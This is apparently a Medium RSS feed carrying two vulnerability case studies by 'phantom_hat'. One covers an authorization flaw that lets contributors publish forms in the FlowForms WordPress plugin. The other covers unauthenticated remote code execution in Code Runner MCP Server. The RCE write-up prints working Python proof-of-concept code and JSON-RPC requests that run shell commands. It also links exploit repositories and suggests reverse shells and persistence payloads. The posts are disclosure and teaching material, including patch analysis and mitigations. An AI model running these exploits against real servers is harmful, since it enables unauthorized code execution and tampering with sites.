<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by phantom_hat on Medium]]></title>
        <description><![CDATA[Stories by phantom_hat on Medium]]></description>
        <link>https://medium.com/@phantom_hat?source=rss-51d141216272------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VxjFOtFnHbsaEztDdAB8hA.jpeg</url>
            <title>Stories by phantom_hat on Medium</title>
            <link>https://medium.com/@phantom_hat?source=rss-51d141216272------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:17:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@phantom_hat/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2026–11991 Case Study FlowForms <= 1.1.1]]></title>
            <link>https://medium.com/@phantom_hat/cve-2026-11991-case-study-flowforms-1-1-1-6598b0232ec5?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/6598b0232ec5</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 16:00:28 GMT</pubDate>
            <atom:updated>2026-09-07T16:00:28.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2026–11991 Case Study FlowForms &lt;= 1.1.1 — Insecure Direct Object Reference Authenticated (Contributor+) Form Publishing</h3><h3>﷽</h3><h3>Introduction</h3><p>This case study focuses on <strong>CVE-2026–11991 </strong>Discovered By<strong> Phantom Hat</strong>, an <strong>Unauthorized Form Publication</strong> vulnerability discovered in <strong>FlowForms</strong>, a WordPress form builder plugin. The vulnerability carries a <strong>CVSS score of 6.4 MEDIUM (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)</strong> and affects all versions <strong>≤ 1.1.1</strong>.</p><p>The vulnerability is rooted in <strong>Authorization Bypass Through User-Controlled Key (CWE-639)</strong> and exists in the plugin’s REST API publish endpoint:</p><pre>POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish</pre><p>In WordPress, the <strong>Contributor</strong> role is intentionally restricted from publishing content this is a core editorial workflow control. FlowForms’ /publish endpoint bypasses this model entirely by only checking for the edit_posts capability, which Contributors possess. This allows any authenticated (Contributor+) low-privileged user to <strong>publish any form directly to the live site</strong>, completely bypassing editorial review.</p><p>In this case study I will demonstrate the Target Overview, Source Code Discovery &amp; Analysis, the exact capability misconfiguration that creates the privilege escalation primitive, Manual Exploitation with a working Proof of Concept, and a deep Patch Diffing of the fix.</p><h3>Target Overview</h3><p><strong>FlowForms</strong> (by Priyanshu Chaudhary) is a self-hosted, open-source conversational form builder plugin for WordPress. Unlike traditional multi-field contact form plugins, FlowForms delivers a Typeform-style step-by-step experience one question at a time aimed at improving form completion rates and user engagement.</p><p>The plugin ships with a React-powered drag-and-drop builder supporting 8 field types (Short Text, Long Text, Multiple Choice, Checkboxes, Rating, Yes/No, Email, and Number), full design customisation, pre-built templates, and flexible embed options via Shortcode, Gutenberg Block, or direct full-page URL (/flowform/{id}).</p><p>From a security perspective, FlowForms exposes a <strong>REST API</strong> registered under the flowforms/v1 namespace, providing endpoints for form lifecycle management including:</p><ul><li>POST /flowforms/v1/forms create a new form</li><li>POST /flowforms/v1/forms/{id}/publish <strong>publish a form to the live site</strong></li></ul><p>The /publish endpoint is the attack surface. It accepts a user-supplied form {id} in the URL path and is responsible for Publishing the form. As we will demonstrate, this endpoint performs an <strong>insufficient capability check</strong>, and the form ID being entirely user-controlled leads to authorization bypass.</p><h3>Discovery / Analysis</h3><p>The vulnerability originates in the file:</p><pre>wp-content/plugins/flowforms/includes/class-rest-api.php</pre><p>In the start we get a function.</p><pre>public function register_routes()<br>{<br>  $ns = &#39;flowforms/v1&#39;;<br>  // SNIP<br>}</pre><p>at the start of this function there’s a namespace for the Rest API.</p><pre>    // POST publish form (promote draft → published, clear draft)<br>    register_rest_route($ns, &#39;/forms/(?P&lt;id&gt;\d+)/publish&#39;, [<br>      &#39;methods&#39;             =&gt; &#39;POST&#39;,<br>      &#39;callback&#39;            =&gt; [$this, &#39;publish_form&#39;],<br>      &#39;permission_callback&#39; =&gt; fn() =&gt; current_user_can(&#39;edit_posts&#39;),<br>    ]);</pre><p>then it register a rest API route to publish forms using the wordpress register_rest_routes() funtction:</p><pre>register_rest_route( string $route_namespace, string $route, array $args = array(), bool $override = false ): bool</pre><p>while registering routes there is a problem which exists in permission_callback it checks only the user has capability using current_user_can() to edit posts or not, it doesn’t check is user authorized to modify or publish that post. that’s the vulnerability.<br>and as a callback function it uses publish_form function in the class to publish the form. Below is the syntax of current_user_can which can check the capability on the specific post too.</p><pre>current_user_can( string $capability, mixed $args ): bool</pre><p>if we provide the form id it it will check the capability on that form.</p><h4>publish_form Logic</h4><pre>  public function publish_form($request)<br>  {<br>    $form_id = absint($request[&#39;id&#39;]);<br><br>    // SNIP<br><br>    // Promote draft → published, clear draft. Design is untouched (top-level).<br>    $json  = $this-&gt;encode_slots($slots[&#39;content&#39;][&#39;draft&#39;], null, $slots[&#39;design&#39;], $slots[&#39;settings&#39;]);<br>    $saved = $this-&gt;save_post_content($form_id, $json);<br><br>    if (! $saved) {<br>      return new WP_REST_Response([&#39;message&#39; =&gt; &#39;Failed to publish form.&#39;], 500);<br>    }<br>    <br>    return new WP_REST_Response([<br>      &#39;success&#39; =&gt; true,<br>      &#39;form_id&#39; =&gt; $form_id,<br>      &#39;message&#39; =&gt; &#39;Form published successfully.&#39;,<br>    ], 200);</pre><p>id is usercontrolled input parameter in the url path</p><p>then it applies 3 checks to check the availablity of valid drafted form</p><p>then it encodes the form slots using the private function encode_slots and then it saves it using another private function save_post_content to update the wordpress database using wpdb-&gt;update()</p><p>and last it checks again is it saved or not.</p><h3>Manual Exploitation</h3><p>Now find a form which is drafted then attack on that drafted form to publish it without any authorization.</p><h4>Enumerating Drafted Forms</h4><p>the endpoint to find the drafted form is:</p><pre>http://&lt;target&gt;/flowform/&lt;id&gt;/</pre><p>since finding manually is time consuming i also created an exploit for this which can easily find and attack on the form which i will demonstrate in next section.</p><p>in my testing lab the administrator created a form as a draft. the form id is 62</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0lzlLFdzP0lX0OQN1pTxGA.png" /></figure><p>but it’s not published we can check it as our low privilege user. with the url:</p><pre>http://127.0.0.1/flowform/62/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-iEffHHcnhgBY7J04vtNeQ.png" /></figure><p>it confirms that the form is in draft.</p><h4>Exploitiation</h4><p>now we can simply exploit since the vulnerable endpoint for rest API to publish this form is:</p><pre>/flowforms/v1/forms/62/publish</pre><p>we can simply send a post request since this endpoint and the form would be published.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdNL0A9wdCshzMvCklF9sA.png" /></figure><p>The form is published.</p><h3>Automated Exploit</h3><p>I developed a complete exploit to enumerate drafted forms.</p><p><a href="https://github.com/0x00phantom-hat/CVE-2026-11991-Exploit">GitHub - 0x00phantom-hat/CVE-2026-11991-Exploit</a></p><p>The exploit enumerate the drafted forms and display it to user and prompt the user to choose from those available drafted forms.</p><p>attacker can adjust the range to find drafted forms and enables proxy for debugging or understanding the vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GE1lvaCKGQXvyXUqYGvEew.png" /></figure><p>the form is published we can check it by id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwg8VvXfz30udwm5xf8Ksw.png" /></figure><h3>Patch Analysis</h3><p>The developer implemented the patch. now the permission_callback doesn’t use the current_user_can()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O40y2tRIq33dzL_yDvCRGw.png" /></figure><p>The developer created a function to check edit_post capability on the form id from the request. and implemented that function on the rest API Endpoints.</p><pre>private function can_edit_form($form_id) {<br>    return current_user_can(&#39;edit_post&#39;, $form_id);<br>}</pre><p>this function checks the capability of edit_post on the specific form id.</p><p>It make sure that the user is authorized to edit that form or not.</p><h3>References</h3><ul><li><a href="https://developer.wordpress.org/reference/functions/current_user_can/">current_user_can() - Function | Developer.WordPress.org</a></li><li><a href="https://developer.wordpress.org/reference/functions/register_rest_route/">register_rest_route() - Function | Developer.WordPress.org</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE - CWE-639: Authorization Bypass Through User-Controlled Key (4.20)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6598b0232ec5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–5029 (Unpatched)Case Study Unauthenticated Remote Code Execution (RCE)]]></title>
            <link>https://medium.com/@phantom_hat/cve-2026-5029-unpatched-case-study-unauthenticated-remote-code-execution-rce-66c7706f2320?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/66c7706f2320</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 11:50:52 GMT</pubDate>
            <atom:updated>2026-07-20T11:56:19.031Z</atom:updated>
            <content:encoded><![CDATA[<h3>﷽</h3><h3>Introduction</h3><p>This Case Study focuses on <strong>CVE-2026–5029 </strong>With <strong>CVSS</strong> Score <strong>8.7</strong>, a Remote Code Execution vulnerability discovered in <strong>Code Runner MCP Server</strong>, an open-source Model Context Protocol server that allows AI agents and LLM-integrated tools to execute arbitrary source code snippets across multiple language interpreters. The vulnerability carries the weakness class <strong>Missing Authentication for Critical Function (CWE-306)</strong>, and it affects <strong>all versions</strong> of the project as of writing, this vulnerability remains <strong>unpatched</strong>.</p><p>The root cause lies in how the server exposes its <strong>JSON-RPC </strong><strong>/mcp endpoint</strong> when launched with the --transport http flag. This mode binds the MCP interface to <strong>port 3088</strong> with <strong>zero authentication</strong>, meaning any unauthenticated remote attacker who can reach the port can directly invoke MCP tools exposed by the server including the run-code tool, which accepts arbitrary source code and executes it via child_process.exec() using an attacker-controlled language interpreter.</p><p>Since Code Runner MCP Server is designed to be plugged into AI agent pipelines and LLM tool-calling workflows, this vulnerability effectively hands over <strong>remote arbitrary code execution with the privileges of the process user</strong>, to anyone capable of sending a single unauthenticated JSON-RPC request no login, no token, no prior interaction with the AI agent required.</p><p>This case study is made for educational Purposes focusing on how to RCE Vulnerabilities work and how to stay protected against this CVE. I will demonstrate the Target Overview, Discovery &amp; Analysis of the MCP transport/tool architecture, the missing-authentication flaw at the protocol level, tracing input from the run-code tool call down to the child_process.exec() sink, Manual Exploitation via a crafted JSON-RPC request, and my responsible disclosure approach given that this issue remains unfixed at the time of publication.</p><blockquote><strong>NVD Reference:</strong><em> </em><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-5029"><em>https://nvd.nist.gov/vuln/detail/CVE-2026-5029</em></a></blockquote><blockquote><strong>CERT.PL Advisory:</strong><em> </em><a href="https://cert.pl/en/posts/2026/05/CVE-2026-5029"><em>https://cert.pl/en/posts/2026/05/CVE-2026-5029</em></a></blockquote><h3>Target Overview</h3><p><strong>Code Runner MCP Server</strong> (by formulahendry) is an open-source Model Context Protocol server, distributed via npm, Docker, and Smithery, that lets AI agents and MCP-compatible clients (VS Code, Claude Desktop, etc.) execute arbitrary code snippets across dozens of languages JavaScript, Python, PHP, Ruby, Go, Bash, PowerShell, and many more.</p><p>The server can run in two transport modes: the default <strong>stdio</strong> mode (local, invoked by the client process itself) and <strong>Streamable HTTP</strong> mode, started with:</p><pre>mcp-server-code-runner --transport http</pre><p>In HTTP mode the server exposes a JSON-RPC endpoint at /mcp on <strong>port 3088</strong>, turning what was a locally-invoked tool into a network-reachable service. It exposes the run-code MCP tool, which takes source code and a language identifier as input and runs it locally via child_process.exec() using the corresponding interpreter.</p><p>From a security perspective, this HTTP transport is the attack surface it ships with <strong>no authentication layer</strong>, so any client capable of reaching port 3088 can call run-code directly, without ever going through the AI agent or client it was designed for.</p><h3>Discovery &amp; Analysis</h3><p>Since <strong>Code Runner MCP Server</strong> exposes its /mcp endpoint over Streamable HTTP transport, the first logical step in a blackbox assessment is to simply <strong>connect and enumerate</strong> no credentials, no handshake beyond the MCP protocol itself.</p><p>Using fastmcp&#39;s Client, a lightweight enumerator script was written to connect to the exposed endpoint and query the three standard MCP capability lists: <strong>Tools</strong>, <strong>Resources</strong>, and <strong>Prompts</strong>.</p><pre>import asyncio<br>from fastmcp import Client<br>from rich.console import Console<br>from rich.panel import Panel<br>from rich.table import Table<br>console = Console()<br>URL = &quot;http://127.0.0.1:3088/mcp&quot;<br><br>async def safe_call(name, func):<br>    try:<br>        return await func()<br>    except Exception as e:<br>        console.print(<br>            f&quot;[yellow][-][/yellow] {name}: [red]{type(e).__name__}[/red] - {e}&quot;<br>        )<br>        return []<br><br>async def main():<br>    client = Client(URL)<br>    async with client:<br>        tools = await safe_call(&quot;Tools&quot;, client.list_tools)<br>        resources = await safe_call(&quot;Resources&quot;, client.list_resources)<br>        prompts = await safe_call(&quot;Prompts&quot;, client.list_prompts)<br>        print(tools)<br>        print(resources)<br>        print(prompts)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    asyncio.run(main())</pre><p><em>(full enumerator script omitted here for brevity see repository/gist for complete code)</em></p><p>Running this against a locally spun-up instance of the server (mcp-server-code-runner --transport http) confirms the endpoint is live and reachable with <strong>zero authentication</strong>:</p><pre>python mcp-enum.py<br>╭───── MCP Enumerator ──────╮<br>│ Connected                 │<br>│ http://127.0.0.1:3088/mcp │<br>╰───────────────────────────╯<br>[-] Resources: McpError - Method not found<br>[-] Prompts: McpError - Method not found<br>                            Tools<br>┏━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓<br>┃ #    ┃ Name     ┃ Description                             ┃<br>┡━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩<br>│ 1    │ run-code │ Run code snippet and return the result. │<br>└──────┴──────────┴─────────────────────────────────────────┘<br>No resources supported.<br>No prompts supported.</pre><p>The server does not implement resources/list or prompts/list, but it <strong>does</strong> expose exactly one tool: run-code. Its input schema is returned in full during enumeration, without any prior authorization step:</p><pre>Tool(<br>  name=&#39;run-code&#39;,<br>  description=&#39;Run code snippet and return the result.&#39;,<br>  inputSchema={<br>    &#39;type&#39;: &#39;object&#39;,<br>    &#39;properties&#39;: {<br>      &#39;code&#39;: {&#39;type&#39;: &#39;string&#39;, &#39;description&#39;: &#39;Code Snippet&#39;},<br>      &#39;languageId&#39;: {<br>        &#39;type&#39;: &#39;string&#39;,<br>        &#39;enum&#39;: [&#39;javascript&#39;, &#39;php&#39;, &#39;python&#39;, &#39;perl&#39;, &#39;perl6&#39;, &#39;ruby&#39;,<br>                  &#39;go&#39;, &#39;lua&#39;, &#39;groovy&#39;, &#39;powershell&#39;, &#39;bat&#39;, &#39;shellscript&#39;,<br>                  &#39;fsharp&#39;, &#39;csharp&#39;, &#39;vbscript&#39;, &#39;typescript&#39;, &#39;coffeescript&#39;,<br>                  &#39;scala&#39;, &#39;swift&#39;, &#39;julia&#39;, &#39;crystal&#39;, &#39;ocaml&#39;, &#39;r&#39;,<br>                  &#39;applescript&#39;, &#39;clojure&#39;, &#39;racket&#39;, &#39;scheme&#39;, &#39;ahk&#39;,<br>                  &#39;autoit&#39;, &#39;dart&#39;, &#39;haskell&#39;, &#39;nim&#39;, &#39;lisp&#39;, &#39;kit&#39;, &#39;v&#39;,<br>                  &#39;sass&#39;, &#39;scss&#39;],<br>        &#39;description&#39;: &#39;Language ID&#39;<br>      }<br>    },<br>    &#39;required&#39;: [&#39;code&#39;, &#39;languageId&#39;],<br>    &#39;additionalProperties&#39;: False<br>  }<br>)</pre><p>This single schema is enough to confirm the full attack surface:</p><ul><li><strong>No authentication or session token is required</strong> to call list_tools or invoke run-code.</li><li>The tool accepts <strong>raw, attacker-controlled source code</strong> (code) and a <strong>language selector</strong> (languageId) spanning 35+ languages.</li><li>Both parameters are fully attacker-controlled with no server-side sanitization visible from the schema the server trusts the caller to supply “code” and simply executes it.</li></ul><p>At this stage, blackbox discovery confirms everything needed to proceed: an unauthenticated /mcp endpoint, a single exposed tool (run-code), and a schema that takes arbitrary code plus a language identifier a direct path toward Manual Exploitation via a crafted JSON-RPC tools/call request, covered next.</p><h3>Manual Exploitation</h3><p>With the run-code tool schema confirmed during Discovery &amp; Analysis, the next step is straightforward: call it directly and see what comes back.</p><pre>import asyncio<br>from fastmcp import Client<br>from rich.console import Console<br>from rich.panel import Panel<br>from rich.table import Table<br>console = Console()<br>URL = &quot;http://127.0.0.1:3088/mcp&quot;<br><br>async def main():<br>    client = Client(URL)<br>    async with client:<br>        result = await client.call_tool(&quot;run-code&quot;, arguments={&quot;code&quot;: &quot;id&quot;, &quot;languageId&quot;: &quot;shellscript&quot;})<br>        print(result.content[0].text)<br><br>if __name__ == &quot;__main__&quot;:<br>    asyncio.run(main())</pre><p>This script connects to the exposed /mcp endpoint and issues a tools/call JSON-RPC request for run-code, passing id as the code payload and shellscript as the languageId. Under the hood, the MCP client wraps this into a standard JSON-RPC 2.0 request:</p><pre>{<br>  method: &#39;tools/call&#39;,<br>  params: {<br>    name: &#39;run-code&#39;,<br>    arguments: { code: &#39;id&#39;, languageId: &#39;shellscript&#39; },<br>    _meta: { progressToken: 1 }<br>  },<br>  jsonrpc: &#39;2.0&#39;,<br>  id: 1<br>}</pre><p>On the server side, the languageId value maps to the shell interpreter, and the code value is handed straight to child_process.exec(). There&#39;s no sandboxing, no allowlist of safe commands, and no validation of what code actually contains it&#39;s treated as trusted input and executed as-is on the host.</p><p>Running the script returns the output of the id command, confirming the exact user context the MCP server process is running under proof of arbitrary command execution through a single tool call, using nothing more than the exposed endpoint and the tool schema discovered earlier.</p><p>From here, code can be swapped for anything the underlying interpreter supports reverse shells, file read/write, reconnaissance commands, or persistence payloads all executed with whatever privileges the mcp-server-code-runner process holds on the host machine. The languageId field also means the attack isn&#39;t tied to one interpreter; the same tool call works across python, powershell, bash, php, and 30+ others listed in the schema, giving the attacker flexibility depending on what&#39;s available in PATH on the target host. so if that specific language doesn’t exist attacker can switch to different languages for example if there’s no python installed the attacker can use powershell for code execution.</p><h3>White-Box Analysis &amp; Discovery Source to Sink</h3><p>Blackbox testing confirmed <em>that</em> arbitrary command execution was possible. With access to the source (server.ts and constants.ts), we can now trace exactly <em>why</em> following the data from the moment it enters the MCP tool handler to the point it hits child_process.exec().</p><h4>Source: the run-code tool handler</h4><p>The vulnerability begins at the tool definition itself:</p><p>typescript</p><pre>server.tool(<br>  &quot;run-code&quot;,<br>  &quot;Run code snippet and return the result.&quot;,<br>  {<br>    code: z.string().describe(&quot;Code Snippet&quot;),<br>    languageId: z.enum(Object.keys(languageIdToExecutorMap) as [keyof typeof languageIdToExecutorMap]).describe(&quot;Language ID&quot;),<br>  },<br>  async ({ code, languageId }) =&gt; {</pre><p>Both code and languageId are the untrusted, attacker-controlled parameters identified during blackbox schema enumeration. Zod is used here only for <strong>type/shape validation </strong>code must be a string, and languageId must be a key that exists in languageIdToExecutorMap. This is important: Zod enforces <em>structure</em>, not <em>safety</em>. There is no sanitization, no character filtering, no command-injection escaping applied to code at any point. It is validated as &quot;a string&quot; and nothing more.</p><h4>Step 1 minimal guard checks</h4><pre>if (!code) {<br>  throw new Error(&quot;Code is required.&quot;);<br>}<br><br>if (!languageId) {<br>  throw new Error(&quot;Language ID is required.&quot;);<br>}<br><br>const executor = languageIdToExecutorMap[languageId as keyof typeof languageIdToExecutorMap];<br>if (!executor) {<br>  throw new Error(`Language &#39;${languageId}&#39; is not supported.`);<br>}</pre><p>These checks only confirm presence and that languageId resolves to a known executor in the map. They do <strong>not</strong> inspect the contents of code in any way an attacker can put literally anything inside code, including shell metacharacters, and it passes every check here untouched.</p><h4>Step 2 code is written to disk as-is</h4><pre>async function createTmpFile(content: string, languageId: string) {<br>  const tmpDir = os.tmpdir();<br>  const fileExtension = getFileExtension(languageId);<br>  const fileName = `tmp.${fileExtension}`;<br>  const filePath = path.join(tmpDir, fileName);<br><br>  await fs.promises.writeFile(filePath, content);<br>  return filePath;<br>}</pre><p>The attacker-supplied code string is written into a temp file (os.tmpdir()/tmp.&lt;ext&gt;) using fs.promises.writeFile. No content inspection, no encoding restrictions whatever the attacker sent as code becomes the literal contents of the file that&#39;s about to be executed.</p><h4>Step 3 resolving the interpreter (constants.ts)</h4><pre>export const languageIdToExecutorMap = {<br>    javascript: &quot;node&quot;,<br>    python: &quot;python -u&quot;,<br>    powershell: &quot;powershell -ExecutionPolicy ByPass -File&quot;,<br>    shellscript: &quot;bash&quot;,<br>    csharp: &quot;scriptcs&quot;,<br>    ...<br>};</pre><p>languageId is used as a key lookup into this static map to fetch the corresponding interpreter binary/flags (e.g. shellscript → bash). This lookup is safe on its own the attacker can only select from a fixed, developer-defined list of interpreters, not inject an arbitrary binary here. The real danger isn&#39;t <em>which</em> interpreter runs; it&#39;s <em>what</em> gets fed into it.</p><p>Note also that powershell -ExecutionPolicy ByPass -File explicitly bypasses PowerShell&#39;s script execution policy a deliberate convenience choice by the developer that removes one of Windows&#39; native scripting safeguards.</p><h4>Sink: string-concatenated exec()</h4><p>This is where the vulnerability exist:</p><pre>const filePath = await createTmpFile(code, languageId);<br>const command = `${executor} &quot;${filePath}&quot;`;<br>const result = await executeCommand(command);</pre><pre>async function executeCommand(command: string): Promise&lt;string&gt; {<br>  return new Promise((resolve, reject) =&gt; {<br>    exec(command, (error: any, stdout: string, stderr: string) =&gt; {<br>      if (error) {<br>        reject(`Error: ${error.message}`);<br>      }<br>      if (stderr) {<br>        reject(`Stderr: ${stderr}`);<br>      }<br>      resolve(stdout);<br>    });<br>  });<br>}</pre><p>The final command string is built through <strong>plain template-literal concatenation</strong> ${executor} &quot;${filePath}&quot; and passed directly into Node&#39;s child_process.exec(), which spawns a full <strong>shell</strong> (/bin/sh -c on Linux, cmd.exe on Windows) and interprets the entire string, metacharacters included.</p><p>Two things make this a full sink, not a partial one:</p><ol><li><strong>exec() vs </strong><strong>execFile()</strong> the developer chose exec(), which goes through a shell interpreter, instead of execFile()/spawn() with an argument array, which would pass filePath as a literal argument with no shell parsing involved. This single API choice is what turns &quot;run this file with this interpreter&quot; into &quot;run this file with this interpreter, through a shell that will happily parse any additional shell syntax.&quot;</li><li><strong>The payload lives inside the file, not the command string</strong> since filePath is a fixed, attacker-uncontrolled temp path (tmp.shellscript, tmp.python, etc.), the injection surface isn&#39;t the command string itself; it&#39;s the <em>contents</em> of that file, which is 100% attacker-controlled code from Step 2. When bash &quot;tmp.shellscript&quot; executes, bash interprets every line of tmp.shellscript meaning the attacker doesn&#39;t need to break out of any quoting or escaping at all. They simply write native shell/Python/PowerShell code directly, and the interpreter runs it exactly as intended by the tool&#39;s own design.</li></ol><h4>Why this isn’t “just RCE-by-design”</h4><p>It’s worth being precise here: the tool’s <em>entire purpose</em> is to execute code that’s not itself the flaw. The vulnerability, per <strong>CWE-306 (Missing Authentication for Critical Function)</strong>, is that this code-execution capability is exposed over an <strong>unauthenticated network endpoint</strong> (/mcp on port 3088 in HTTP transport mode) with no session validation, no API key, no origin check nothing standing between an anonymous network client and this sink. In stdio mode, the same run-code tool is far less dangerous because only the local MCP client (e.g. the user&#39;s own VS Code/Claude Desktop session) can invoke it. HTTP transport removes that implicit trust boundary without replacing it with anything.</p><h4>Full trace summary</h4><p>StageCodeAttacker ControlValidation PresentTool inputcode, languageId paramsFullType-only (Zod)Guard checksif (!code) / if (!languageId) Presence onlyExecutor lookuplanguageIdToExecutorMap[languageId]Constrained to fixed listMap key existenceFile writefs.promises.writeFile(filePath, content)Full file contentsNoneCommand build`${executor} &quot;${filePath}&quot;`Indirect (via file contents)NoneSinkexec(command, ...)Full code executionNone shell interpretation</p><p>Every stage from the MCP tool boundary down to exec() was traced with no sanitization, no allowlisting of code content, and no authentication gating the entire path confirming both the root cause of <strong>CVE-2026-5029</strong> and why the blackbox id / shellscript PoC executed cleanly with zero friction.</p><h4>Logs of Code Runner MCP</h4><pre>Received MCP request: { method: &#39;tools/list&#39;, jsonrpc: &#39;2.0&#39;, id: 2 }<br>Received MCP request: {<br>  method: &#39;initialize&#39;,<br>  params: {<br>    protocolVersion: &#39;2025-11-25&#39;,<br>    capabilities: {},<br>    clientInfo: { name: &#39;mcp&#39;, version: &#39;0.1.0&#39; }<br>  },<br>  jsonrpc: &#39;2.0&#39;,<br>  id: 0<br>}<br>Received MCP request: { method: &#39;notifications/initialized&#39;, jsonrpc: &#39;2.0&#39; }<br>Received MCP request: {<br>  method: &#39;tools/call&#39;,<br>  params: {<br>    name: &#39;run-code&#39;,<br>    arguments: { code: &#39;id&#39;, languageId: &#39;shellscript&#39; },<br>    _meta: { progressToken: 1 }<br>  },<br>  jsonrpc: &#39;2.0&#39;,<br>  id: 1<br>}<br>Temporary file created at: /tmp/tmp.shellscript<br>Executing command: bash &quot;/tmp/tmp.shellscript&quot;</pre><p>The logs also confirmed that a temporary file created at temp directory. and the according to specific language ID it got executed according to it’s interpreter.</p><h3>Automated Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NuL0-PuANK73i1qJWefu3g.png" /></figure><p><strong>Features that automated exploit has:</strong></p><ol><li>Language enumeration. It checks if that language is present on server or not.</li><li>you can select language by language flag. if python then it will execute python code like python interpreter.</li><li>show supported languages by MCP.</li><li>Pretty print the Output.</li><li>Spawns up an exploit prompt so that user can easily enter commands and got it output. Screenshot is uploaded below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f22jZX7SRrlIEuKslqb4BQ.png" /></figure><pre>python exploit.py -u http://localhost:3088/mcp/ -l shellscript</pre><p>Here’s the Repository:</p><p><a href="https://github.com/0x00phantom-hat/CVE-2026-5029-Exploit">GitHub - 0x00phantom-hat/CVE-2026-5029-Exploit</a></p><h3>Mitigation &amp; Patch Recommendations</h3><p>Since <strong>CVE-2026–5029</strong> remains unpatched at the time of writing, the recommendations below are split into what operators can do <strong>today</strong> to reduce exposure, and what the maintainer should implement as a proper fix at the code level.</p><h4>Immediate Mitigations (Operator-Side)</h4><ul><li><strong>Do not run </strong><strong>--transport http on any network-reachable interface.</strong> The safest immediate fix is to stick with the default stdio transport, which restricts tool invocation to the local MCP client process and removes the network attack surface entirely.</li><li><strong>If HTTP transport is required</strong>, bind it strictly to 127.0.0.1 / localhost and never 0.0.0.0, and place it behind a reverse proxy or VPN that enforces authentication before any request reaches port 3088.</li><li><strong>Firewall port 3088</strong> at the host or network level so it is not reachable from untrusted networks, even accidentally.</li><li><strong>Run the server as a low-privilege, sandboxed user</strong> (or inside a locked-down container) so that even if run-code is abused, the blast radius is limited no access to sensitive files, no network pivot capability, no persistence paths.</li><li><strong>Monitor for unexpected </strong><strong>run-code invocations</strong> and unusual child processes spawned by the mcp-server-code-runner process, since this tool&#39;s entire function is arbitrary code execution any unauthorized call is inherently high-signal.</li></ul><h4>Recommended Code-Level Fixes (Maintainer-Side)</h4><p><strong>1. Add authentication to the HTTP transport.</strong><br> The root cause is CWE-306 the /mcp endpoint has zero authentication in HTTP mode. A minimal fix would require an API key or bearer token on every request, validated before any tools/call is processed:</p><pre>// Example: simple bearer-token middleware before MCP routes<br>app.use((req, res, next) =&gt; {<br>  const token = req.headers[&quot;authorization&quot;];<br>  if (token !== `Bearer ${process.env.MCP_API_KEY}`) {<br>    return res.status(401).send(&quot;Unauthorized&quot;);<br>  }<br>  next();<br>});</pre><p><strong>2. Sandbox code execution at the OS level.</strong><br> Even with authentication in place, run-code is inherently dangerous by design. Wrapping execution in a container, gVisor, Firecracker microVM, or nsjail/bubblewrap sandbox with no filesystem access beyond the temp directory and no outbound network access would contain the impact even if authentication is somehow bypassed or misconfigured.</p><p>Until an official patch is released, the safest posture remains simple: <strong>avoid </strong><strong>--transport http in any environment reachable by untrusted clients</strong>, and treat run-code as equivalent to handing out unauthenticated shell access.</p><h3>Summary</h3><p>CVE-2026–5029 (CVSS 8.7, unpatched) is an unauthenticated RCE in Code Runner MCP Server. Running with --transport http exposes the /mcp endpoint on port 3088 with zero authentication, letting anyone invoke the run-code tool. The tool writes attacker-supplied code to a temp file and executes it via child_process.exec() (shell-based), with no sanitization anywhere in the path. Blackbox enumeration revealed the exposed tool and schema; a single unauthenticated call (code: &quot;id&quot;, languageId: &quot;shellscript&quot;) confirmed command execution. White-box source-to-sink tracing confirmed the root cause: CWE-306, missing auth on a critical execution function. Fix: never expose HTTP transport publicly, add auth to the endpoint, sandbox execution.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66c7706f2320" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–12400 Case Study FlowForms <= 1.1.1]]></title>
